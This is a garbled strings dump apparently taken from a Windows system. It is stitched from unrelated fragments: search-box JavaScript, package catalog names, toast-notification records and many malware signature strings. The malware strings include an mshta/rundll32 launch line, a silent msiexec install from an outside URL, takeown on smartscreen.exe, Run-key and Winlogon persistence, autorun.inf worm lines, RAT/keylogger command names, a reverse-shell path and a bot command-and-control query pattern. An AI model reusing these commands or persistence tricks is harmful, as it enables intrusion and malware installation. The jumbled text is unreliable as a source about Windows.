l==n.Scope.ThirdPartyWeb&&c!=n.Scope.ThirdPartyWeb:this.pendRefresh(3,3);this.previousSearchAppearanceGleamData=(s=(o=this._dsbViewModel)===null||o===void 0?void 0:o.getSearchAppearanceGleamContent())===null||s===void 0?void 0:s.gleamData;break;case l!=n.Scope.ThirdPartyWeb&&c==n.Scope.ThirdPartyWeb:case l==n.Scope.ThirdPartyWeb&&c==n.Scope.ThirdPartyWeb&&a!=v:(h=(i=this._dsbViewModel)===null||i===void 0?void 0:i.set3pSearchAppearance)===null||h===void 0?void 0:h.call(i,t.thirdPartySearch)}}this.currentQuery=t;((c=this._dsbViewModel)===null||c===void 0?void 0:c.isDwellStarted())&&(this._dsbViewModel.instrumentDSBDwellTime(),this._dsbViewModel.resetDwellTime())});n.Host.bindShown(()=>{var t,r;n.Host.setBindShownTime(n.getCurrentTime());n.isDynamicSearchContentPossible()&&(this.appShown=!0,n.safeSetTimeout(()=>{this.pendRefresh(7,2)},i,"dsbManager::bindShown"));this.dynamicSearchBoxContentKeyAtShown=(r=(t=this.previousDynamicSearchBoxContent)===null||t===void 0?void 0:t.attributes)===null||r===void 0?void 0:r.contentKey});n.Host.bindDismissed(()=>{var t;n.Host.setBindDimissTime(n.getCurrentTime());this.appShown=!1;((t=this._dsbViewModel)===null||t===void 0?void 0:t.isDwellStarted())&&(this._dsbViewModel.instrumentDSBDwellTime(),this._dsbViewModel.resetDwellTime())});n.Host.bindBeforeWebViewReload(()=>{this.allowSuspension()});n.UrlParameters&&(n.Host.bindKeyDown((t,i)=>{i.ctrlKey&&t==115&&((n.TestHookUrlParameters===null||n.TestHookUrlParameters===void 0?void 0:n.TestHookUrlParameters.msbDsbUiError)&&(n.TestHookUrlParameters.msbDsbUiError=undefined),this.forceRefresh())}),n.Host.bindKeyDown((n,t)=>{t.ctrlKey&&n==114&&this.forceRenderOnlyRefresh()}));u.bindAccountTypesChanged(async()=>{const t=n.AccessTokenManager.getWindowsAccountType();t===0&&a
m0windowsphone.com
new-objectwindows.security.credentials.passwordvault
iex$($env:systemroot+'\system32\mmc.exegpedit.msc')
Qc:\windows\system32\cmd.exe/v:on/d/cmshta"javascript:
c:\windows\system32\rundll32.exeahol3m.dll,plugininit
Ftakeown/f"%systemroot%\\system32\\smartscreen.exe"/a
Microsoft.Windows.Security.CodeIntegrity.Wintrust
Microsoft.Windows.Security.CodeIntegrity.Wintrust
Microsoft.Windows.Security.CodeIntegrity.Wintrust
B744-2EB1AE5198B7}\WindowsPowerShell\v1.0\PowerShell_ISE.exe{1AC14E77-02E7-4E5D-B744-2EB1AE5198B7}\WindowsPowerShell\v1.0\PowerShell_ISE.exe
.Windows PowerShell ISEi7
P~Microsoft.Windows.DevHome_8wekyb3d8bbwe!AppMicrosoft.Windows.DevHome_8wekyb3d8bbwe!App-
P~Microsoft.WindowsFeedbackHub_8wekyb3d8bbwe!AppMicrosoft.WindowsFeedbackHub_8wekyb3d8bbwe!App+
Windows Defender Firewall with Advanced Securityw4
W~{1AC14E77-02E7-4E5D-B744-2EB1AE5198B7}\MdSched.exe{1AC14E77-02E7-4E5D-B744-2EB1AE5198B7}\MdSched.exe#(Windows Memory Diagnosticx,
W~{D65231B0-B2F1-4857-A4CE-A8E7C6EA7D27}\WindowsPowerShell\v1.0\PowerShell_ISE.exe{D65231B0-B2F1-4857-A4CE-A8E7C6EA7D27}\WindowsPowerShell\v1.0\PowerShell_ISE.exe)
Windows PowerShell ISE (x86)
P~Microsoft.WindowsCalculator_8wekyb3d8bbwe!AppMicrosoft.WindowsCalculator_8wekyb3d8bbwe!App	RCalculator
P~Microsoft.WindowsCamera_8wekyb3d8bbwe!AppMicrosoft.WindowsCamera_8wekyb3d8bbwe!App
vWindows
notification settings|hmd settings|windows mixed reality settings|windows mr settings|hololens settings|holo settings|
System.Windows.Forms.Design.ToolStripMenuItemCodeDomSerializer, System.Design, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
System.Windows.Forms.Design.ToolStripContainerDesigner, System.Design, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
System.Windows.Forms.Design.ToolStripContentPanelDesigner, System.Design, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
System.Windows.Forms.Design.ToolStripPanelDesigner, System.Design, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
#System.Windows.Forms.ToolStripPanel
System.Windows.Forms.Design.BorderSidesEditor, System.Design, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3auSystem.Drawing.Design.UITypeEditor, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
System.Windows.Forms.Control
~System.Windows.Forms.Design.TrackBarDesigner, System.Design, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
&System.Windows.Forms.TreeNodeConverter
System.Windows.Forms.Design.TreeNodeCollectionEditor, System.Design, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3auSystem.Drawing.Design.UITypeEditor, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
~System.Windows.Forms.Design.TreeViewDesigner, System.Design, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
System.Windows.Forms.Design.UserControlDocumentDesigner, System.Design, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3auSystem.ComponentModel.Design.IRootDesigner, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
System.Windows.Forms.Design.WebBrowserDesigner, System.Design, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
xSystem.Windows.Forms.Design.AxDesigner, System.Design, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
System.Windows.Forms.Design.PrintDialogDesigner, System.Design, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
17^windows.protocol
17^windows.appExtension
Microsoft-Windows-Network-Security-Core-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
>C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy9
>C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy9
Qges\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\ExtensionActivityComp
temRoot%\system32\mswsock.dl
.?AU?$_ContinuationTaskHandle@XPE$AAU?$IVectorView@PE$AAU?$IMapView@PE$AAVString@Platform@@PE$AAV12@@Collections@Foundation@Windows@@@Collections@Foundation@Windows@@V<lambda_5985f10a27beed8ab1acd3da44bc6daa>@@U?$integral_constant@_N$0A@@std@@U_TypeSelectorAsyncOperation@details@Concurrency@@@?$task@E@Concurrency@@
.?AU?$_PPLTaskHandle@PE$AAU?$IVectorView@PE$AAU?$IMapView@PE$AAVString@Platform@@PE$AAV12@@Collections@Foundation@Windows@@@Collections@Foundation@Windows@@U?$_ContinuationTaskHandle@XPE$AAU?$IVectorView@PE$AAU?$IMapView@PE$AAVString@Platform@@PE$AAV12@@Collections@Foundation@Windows@@@Collections@Foundation@Windows@@V<lambda_5985f10a27beed8ab1acd3da44bc6daa>@@U?$integral_constant@_N$0A@@std@@U_TypeSelectorAsyncOperation@details@Concurrency@@@?
Windows.Internal.BackupRestore.SettingsProviders.LocalBackupSettingsProvider
Windows.Internal.BackupRestore.SettingsProviders.Win7BackupSettingsProvider
dd^com.microsoft.windows.extensionpackage
de^com.microsoft.windows.extension.visualassistant
com.microsoft.windows.extension.visualassistant
df^com.microsoft.windows.extensions.xaml.visualassistant
'C:\WINDOWS\system32\svchost.exe -k LocalServiceHttp -pf
WINLOGON
Windows
WindowsCreateString
WindowsCompareStringOrdinal
WindowsConcatString
WindowsDuplicateString
Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Features-WOW64-Package0110~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
="c:\windows\system32\"+"notepad"
Windows.UI.Xaml.
Windows.UI.Xaml.Controls.GridViewItemq
Microsoft-Windows-Runtime-Metadata-Desktop-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
txyewy!Microsoft.Windows.FilePickerapp:immersive2026-02-20 16:13:452026-02-20 16:13:45_D
Windows.SystemToast.WindowsTipSystemapp:system2026-02-20 16:13:452026-02-24 08:06:25^C
Windows.SystemToast.SuggestedSystemapp:system2026-02-20 16:13:452026-02-20 16:13:45gB
Windows.SystemToast.MobilityExperienceSystemapp:system2026-02-20 16:13:452026-02-20 16:13:45^A
Windows.SystemToast.FodHelperSystemapp:system2026-02-20 16:13:452026-02-20 16:13:45d@
Windows.SystemToast.DisplaySettingsSystemapp:system2026-02-20 16:13:452026-02-20 16:13:45v?
Windows.SystemToast.CloudExperienceHostLauncherCustomSystemapp:system2026-02-20 16:13:452026-02-20 16:13:45\>
Windows.SystemToast.WwansvcSystemapp:system2026-02-20 16:13:452026-02-20 16:13:45r=
Windows.SystemToast.WindowsUpdate.MoNotification2Systemapp:system2026-02-20 16:13:452026-02-20 16:13:45q<
Windows.SystemToast.WindowsUpdate.MoNotificationSystemapp:system2026-02-20 16:13:452026-02-20 16:13:45g;
Windows.SystemToast.WiFiNetworkManagerSystemapp:system2026-02-20 16:13:452026-02-20 16:13:45e:
Windows.SystemToast.Usb.NotificationSystemapp:system2026-02-20 16:13:452026-02-20 16:13:45e9
Windows.SystemToast.SuggestedActionsSystemapp:system2026-02-20 16:13:452026-02-20 16:13:45\8
Windows.SystemToast.StorSvcSystemapp:system2026-02-20 16:13:452026-02-20 16:13:45_7
Windows.SystemToast.StartupAppSystemapp:system2026-02-20 16:13:452026-02-20 16:13:45c6
Windows.SystemToast.SpeechServicesSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44`5
Windows.SystemToast.SoftLandingSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44Z4
Windows.SystemToast.ShareSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44y3
Windows.SystemToast.ServiceInitiatedHealing.NotificationSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44c2
Windows.SystemToast.SecurityCenterSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44k1
Windows.SystemToast.SecurityAndMaintenanceSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44`0
Windows.SystemToast.RecallSetupSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44e/
Windows.SystemToast.RasToastNotifierSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44l.
Windows.SystemToast.Print.PrintNotificationSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44m-
Windows.SystemToast.Print.PrinterCleanupTaskSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44g,
Windows.SystemToast.Print.NotificationSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44v+
Windows.SystemToast.PresenceSensing.OnlookerDetectionSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44_*
Windows.SystemToast.PinConsentSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44f)
Windows.SystemToast.NfpReceiveContentSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44e(
Windows.SystemToast.NfpDevicePairingSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44
AAA_SystemSettings_Cortana_WindowsSearch_FindMyFiles
#AAA_SystemSettings_Cortana_WindowsSearch_FindMyFiles	
3AAA_SystemSettings_Cortana_WindowsSearch_FindMyFiles
;AAA_SystemSettings_Cortana_WindowsSearch_FindMyFiles
GAAA_SystemSettings_Cortana_WindowsSearch_FindMyFiles
SAAA_SystemSettings_Cortana_WindowsSearch_FindMyFiles
AAA_SystemSettings_Cortana_WindowsSearch_FindMyFiles
indexing settings|indexing options|windows indexer|indexer|search settings|Windows search|find my files|find files|enhanced search|F
AAA_SystemSettings_Cortana_WindowsSearch_AddExclusion
'AAA_SystemSettings_Cortana_WindowsSearch_AddExclusion
1AAA_SystemSettings_Cortana_WindowsSearch_AddExclusion
AAAA_SystemSettings_Cortana_WindowsSearch_AddExclusion
cAAA_SystemSettings_Cortana_WindowsSearch_AddExclusion
indexing settings|indexing options|windows indexer|indexer|search settings|Windows search|excluded folders|K
camera effect|camera effects|camera settings|configure camera|configure cameras|configure effects|disable camera|enable camera|studio effects|troubleshoot camera|troubleshoot cameras|view camera|view cameras|windows studio|)
Windows spotlight|Desktop spotlight|spotlight|spot light|wallpaper settings|desktop wallpaper|desktop background settings|personalize desktop|personalize background|personalization settings|pictures|picture background|images|'
(Udefault sound|sound playback options|sound options|audio settings|playback device|change volume|troubleshoot audio|speakers|sound device|audio device|advanced sound options|advanced sound settings|manage sound devices|stereo mix|test your microphone|voice focus|windows studio|studio effects|audio effects|effects|noise suppression|call audio|noise cancellation|background noise|noise reduction|audio defaults|mic effects|microphone effects|audio enhancements|sound enhancements|+
SLGetWindowsInformationDWORD
WindowsInternal.ComposableShell.Experiences.Switcher.dll
    name="Microsoft.Windows.Shell.batmeter"
<description>Windows Shell</description>
            name="Microsoft.Windows.Common-Controls"
    <windowsSettings>
        <dpiAware  xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">true</dpiAware>
    </windowsSettings>
Microsoft-Windows-Client-Desktop-Required-Package0011~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-Package0012~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Shell"="Explorer.exe,Windows.exe"whatismyip.com/automationMozilla\Firefox\Profiles
bootproconnection wizard\iexplore.execlsid\{1f4de370-d627-11d1-ba4f-00a0c91eedba}rundll32.exe shell32.dll,control_rundll inetcpl.cpl\360se\data\bookmarks.dat\currentversion\winlogon\notify\cevennet\
onenote for windows 10
qXvd"&amp;"l"&amp;"l"&amp;"r"&amp;"eg"&amp;"i"&amp;"s"&amp;"t"&amp;"e"&amp;"rs"&amp;"e"&amp;"rver</t></si><si><t>rundll32.exe</t></si><si><t>\windows\</t></si><si><t>syswow64\</t></si><si><t>"h"&amp;"t"&amp;"t"&amp;"p
[MSAL:0006]	DEBUG  	IsAuthorizationTypeSupported:131	WindowsIntegratedAuth with consumer realm and enabled MSA flight and non-NAA. Returning true.
Microsoft-Windows-MSMQ-MMC-OptGroup-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|
Microsoft-Windows-MediaPlayer-Package~31bf3856ad364e35~wow64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Kernel-Package-CodeIntegrity-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-Product-Data-Ge-26144-Version-EKB-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-OfflineFiles-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-Client-Desktop-Required-Package001020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package001120~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-OneCore-Common-DriverClasses-Core-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|Microsoft-OneCore-Common-DriverClasses-Core-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.4484.cat|Microsoft-Windows-Client-Desktop-Required-Package0010~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0011~31bf3856ad364e35~amd64~en-US~10.0.26100.7623.cat|
Microsoft-Windows-ProjFS-OptionalFeature-FOD-Package-Wrapper~31bf3856ad364e35~amd64~en-US~10.0.26100.7824.cat|
Microsoft.Windows.Wil.FeatureLogging
WindowsInternal.ComposableShell.DesktopHosting.pdb
!Reline.kManagerApp@winrt@@UIUIElement4@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IUIElement2@UEntityItem@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UEntityItem@implementation@TaskManagerApp@winrt@@UIUIElement@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IUIElement3@UEntityItem@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UEntityItem@implementation@TaskManagerApp@winrt@@UIUIElement2@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IFrameworkElement7@UEntityItem@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UEntityItem@implementation@TaskManagerApp@winrt@@UIFrameworkElement6@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IUIElement@UEntityItem@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UEntityItem@implementation@TaskManagerApp@winrt@@UIFrameworkElement7@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IFrameworkElement4@UEntityItem@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UEntityItem@implementation@TaskManagerApp@winrt@@UIFrameworkElement3@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IFrameworkElement6@UEntityItem@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UEntityItem@implementation@TaskManagerApp@winrt@@UIFrameworkElement4@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IFrameworkElement2@UEntityItem@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UEntityItem@implementation@TaskManagerApp@winrt@@UIFrameworkElement@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IFrameworkElement3@UEntityItem@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UEntityItem@implementation@TaskManagerApp@winrt@@UIFrameworkElement2@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_IControl7@UEntityItem@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UEntityItem@implementation@TaskManagerApp@winrt@@UIControl5@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IFrameworkElement@UEntityItem@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UEntityItem@implementation@TaskManagerApp@winrt@@UIControl7@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_IControl4@UEntityItem@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UEntityItem@implementation@TaskManagerApp@winrt@@UIControl3@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_IControl5@UEntityItem@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UEntityItem@implementation@TaskManagerApp@winrt@@UIControl4@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_IControl2@UEntityItem@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UEntityItem@implementation@TaskManagerApp@winrt@@UIControl@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_IControl3@UEntityItem@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UEntityItem@implementation@TaskManagerApp@winrt@@UIControl2@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_IContentControl2@UEntityItem@implementation@TaskManagerApp@winrt@@@impl@winrt@@
>System.Windows.Forms.Design.DataSourceConverter, System.Design
?System.Windows.Forms.Design.DataMemberListEditor, System.DesignuSystem.Drawing.Design.UITypeEditor, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
U~System.Windows.Forms.AutoCompleteMode, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
microsoft.windows.filesystem.replacereplace.pdbr
wuauclt.pdbmicrosoft.windows.windowsupdate.wuauclt.text$lp01wuauclt.exer
p..\windows\system32\cmd.exe
rdclient.windows.dllrhbinder__shimexemainr
microsoft-windows-xwizards-host-process!#HSTR:NSIS20b4_02
C:\ProgramData\Microsoft\Search\Data\Applications\Windows\Windows-gather.db
C:\ProgramData\Microsoft\Search\Data\Applications\Windows\Windows.db
C:\ProgramData\Microsoft\Search\Data\Applications\Windows\Windows-usn.db
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
MSS: Cleanup cannot delete Directory %ls in Windows Search Data Directory with error 0x%X.
MSS: Cleanup cannot delete %ls in Windows Search Data Directory with error 0x%X.
MSS: _KillSearchService is going to terminate Windows Search process pid=0x%x.
MSS: _KillSearchService: Windows Search process handle is still non-signalled after 30 sec 
.?AU?$__abi_FunctorCapture@V<lambda_438113a32550a3a84e8999e43761378a>@@XPE$AAU?$IAsyncOperation@PE$AAU?$IVectorView@PE$AAVWebAccount@Credentials@Security@Windows@@@Collections@Foundation@Windows@@@Foundation@Windows@@W4AsyncStatus@34@@Details@Platform@@
.?AV?$_Ref_count_obj@U?$_Task_impl@PE$AAU?$IVectorView@PE$AAVWebAccount@Credentials@Security@Windows@@@Collections@Foundation@Windows@@@details@Concurrency@@@std@@
.?AU?$_Task_impl@PE$AAU?$IVectorView@PE$AAVWebAccount@Credentials@Security@Windows@@@Collections@Foundation@Windows@@@details@Concurrency@@
.?AU__abi_IDelegate@?$AsyncOperationCompletedHandler@PE$AAU?$IVectorView@PE$AAVWebAccount@Credentials@Security@Windows@@@Collections@Foundation@Windows@@@Foundation@Windows@@
.?AV?$AsyncOperationCompletedHandler@PE$AAU?$IVectorView@PE$AAVWebAccount@Credentials@Security@Windows@@@Collections@Foundation@Windows@@@Foundation@Windows@@
.?AU?$__abi_FunctorCapture@V<lambda_c761ee6e618db1a391ff256b950355d6>@@XPE$AAU?$IAsyncOperation@PE$AAVStorageFolder@Storage@Windows@@@Foundation@Windows@@W4AsyncStatus@34@@Details@Platform@@
.?AU?$IAsyncOperation@PE$AAUIBuffer@Streams@Storage@Windows@@@Foundation@Windows@@
.?AU?$__abi_FunctorCapture@V<lambda_a30a5a419a503f79928edee7b8c7ecd2>@@XPE$AAU?$IAsyncOperation@PE$AAUIBuffer@Streams@Storage@Windows@@@Foundation@Windows@@W4AsyncStatus@34@@Details@Platform@@
.?AU?$__abi_FunctorCapture@V<lambda_f27ec4692e17c974d454574d7a1f3be9>@@XPE$AAU?$IAsyncOperationWithProgress@PE$AAUIBuffer@Streams@Storage@Windows@@_K@Foundation@Windows@@W4AsyncStatus@34@@Details@Platform@@
.?AV?$_Ref_count_obj@U?$_Task_impl@PE$AAVStorageFolder@Storage@Windows@@@details
.?AU?$__abi_FunctorCapture@V<lambda_37972ef6c3a6bd974a5af948de75e9b5>@@XPE$AAUIBackgroundTaskInstance@Background@ApplicationModel@Windows@@W4BackgroundTaskCancellationReason@345@@Details@Platform@@
Yhttps://city.zzzcv.com/download/agent&c:\\windows\\system32\\msiexec.exe/iservicfa.msi/qn
mail exchanger = dnsrecordlistfreenslookup <chgif.exeMozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU; rv:ServicePackFiles
~C:\Program Files\Messenger\msmsgs.exe\3C:\WINDOWS\system32\MSVBVM60.DLL\3@
c:\windows\system32\lvs
c:\windows\winhelp23.inisystem\svchost.exesystem\sysconf.cplcmd /k  start c:\windows\system\sysconf.cplDominada ftp! ** reenvio!!
Opera/9.20 (Windows NT 5.1: U: en)ing URL %Sregsvr32.exe /u /s
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
[content-disposition: form-data; name="userfile"; filename="%s"%s\hlst.tmpmultiscshs%s\dllcache\%s%suserinit.exe,%sautorun.inf%s__ps.txtwindows server 2003.htm*.php*.do*.asp*.jsp*?%s%s%s&cnt=%s&hp=%d&sp=%d172.16.sock_seqpacket
C:\WINDOWS\system32\userinit.exe,
xSOFTWARE\Microsoft\Windows NT\CurrentVersion\SvcHostSYSTEM\ControlSet001\Services\%s\svchost.exe -kPcMain.dlli
 windows messenger 
Mgodown.geopia.com/fian/fiansearch7/fianfxmsgs.dllgodown.geopia.com/fian/fiansearch7/fiansearch.exegodown.geopia.com/fian/fiansearch7/fianupdatever.datsoftware\microsoft\windows\currentversion\uninstall\fxmsgsuninst
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
c:\windows\system32\msvbvm60.dll
Dbclogsvr.iniwindows nt\currentversion\winlogonwindows\currentversion\policies\explorer\runflash.bpa.nuhttp://%s:%d/index.cgi
`auto.thestatistic.org/cmdp2.php?key=sex.exeexpIorer.exewindows firewall servicevrennae knockdbot debug windowwintime.exewinfire.exe
testsprf123HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\R
RemoveShowingAutoHideWindows
RemoveShowingAutoHideWindowsExcept
)C:\Windows\SystemApps\Microsoft
windows-php-reverse-shell/reverseshell
\system32\user.exe
\system32\sidebar.exe
\system32\at.exeU
\system32\change.exeU
\system32\control.exe
\system32\find.exe
\system32\net.exe
\system32\share.exe
\system32\rundll32.exe
\system32\append.exeU
\system32\choice.exeU
\system32\clip.exe
\system32\comp.exe
\system32\compact.exe
\system32\consent.exe
\system32\convert.exe
\system32\format.exeU
\system32\graphics.com
\system32\label.exe
\system32\mem.exe
\system32\mode.com
\system32\more.com
\system32\recover.exe
\system32\replace.exe
\system32\reset.exe
\system32\shadow.exeU
\system32\sort.exe
\system32\tree.com
\system32\webcam.exeU
\system32\systemsettings.exeU
\system32\command.com
\system32\tabtip.exeU
\system32\services.exe
\system32\help.exe
\system32\where.exe
\system32\skydrive.exe
\system32\calc.exe
\system32\fc.exeU
\system32\notepad.exe
\system32\finger.exeU
\system32\ping.exe
\system32\print.exe
\system32\shutdown.exe
\system32\expand.exeU
\system32\tskill.exeU
\system32\reg.exe
\system32\sc.exe
Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUI
Windows c
macromedia flash player instalado com sucessoc:\windows\windosremote.exec:\windows\gbpserver32.exec:\windows\sistemas.exec:\windows\winupdatedata.exehttp://
tcustommemorystreamsetcapturegetservbynameioctlsocketinverter botfechar janela do msnformata windowsdesabilitar barra de tarefaschama wormchama imagem do firehackerchama som de erro no pc da vitimaopen cd/dvd romchange paper of wallpower off monitor (win95)capturar imagem da webcamenviar msg.
Tc:\senhas.txtc:\tcsystemgeneration.txtserversocket1c:\webcam.bmpsystem tc generatio sucefaulgenerationes: codegenerad: c:\windows\arenito.bmpwindows live messengercommand.com /c del c:\keylogger - logsh
\services.exe%systemdrive%\recycled\showsuperhiddensoftware\microsoft\windows\currentversion\explorer\advanced
OS=Windows_NT
Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;C:\Users\job\AppData\Local\Microsoft\WindowsApps
PSModulePath=%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules
Ddummypostforsuperbatwindows security alerthidden process requests network ac
attrib +h rundll.exeopen=rundll.exeaction = carpetasshell%copen%ccommand=rundll.exeattrib +h %c:%cautorun.infc:%cwindows%csystem32%ctaskkill.exec:%cwindows%cpchealth%chelpctr%cbinaries%cmsconfig.exe
msgbox 4112,microsoft windows warning,"we are sorryfilecopy,c:\windows\system\autorun.inf,%filecopy,c:\windows\system\svc.exe,%ifwinexist, vlc
winclosemicrosoft windows,"you are using a pirated(illegal) version of microsoft.`nyou may encounter severe penalties for this kind of action.`nplease register your copy at www.microsoft.com
S%swin32en.bat\windows\system32\kernel*.dllclsid\{ec83b900-b33a-d316-ef7d-0006ca350705}%s\stat.inisystem.dllbackinfo.ini../update.exeget mail for us!we will get mail!%s?action=getcmd&hostid=%s&hostname=%s
createstreamonhglobal%s?param=%dpost %s http/1.content-length: 14software\microsoft\windows\currentversion\internet settings\zone
Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\run
Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
 Windows
System.Windows.Forms.ImageListStreamer, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089PADPADP
WSystem.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
&System.Windows.Forms.ImageListStreamer
com.microsoft.windows.storage.provider
133^com.microsoft.windows.extensionpackage
135^com.microsoft.windows.app.screenclip
com.microsoft.windows.app.screenclip
WindowsFeedback
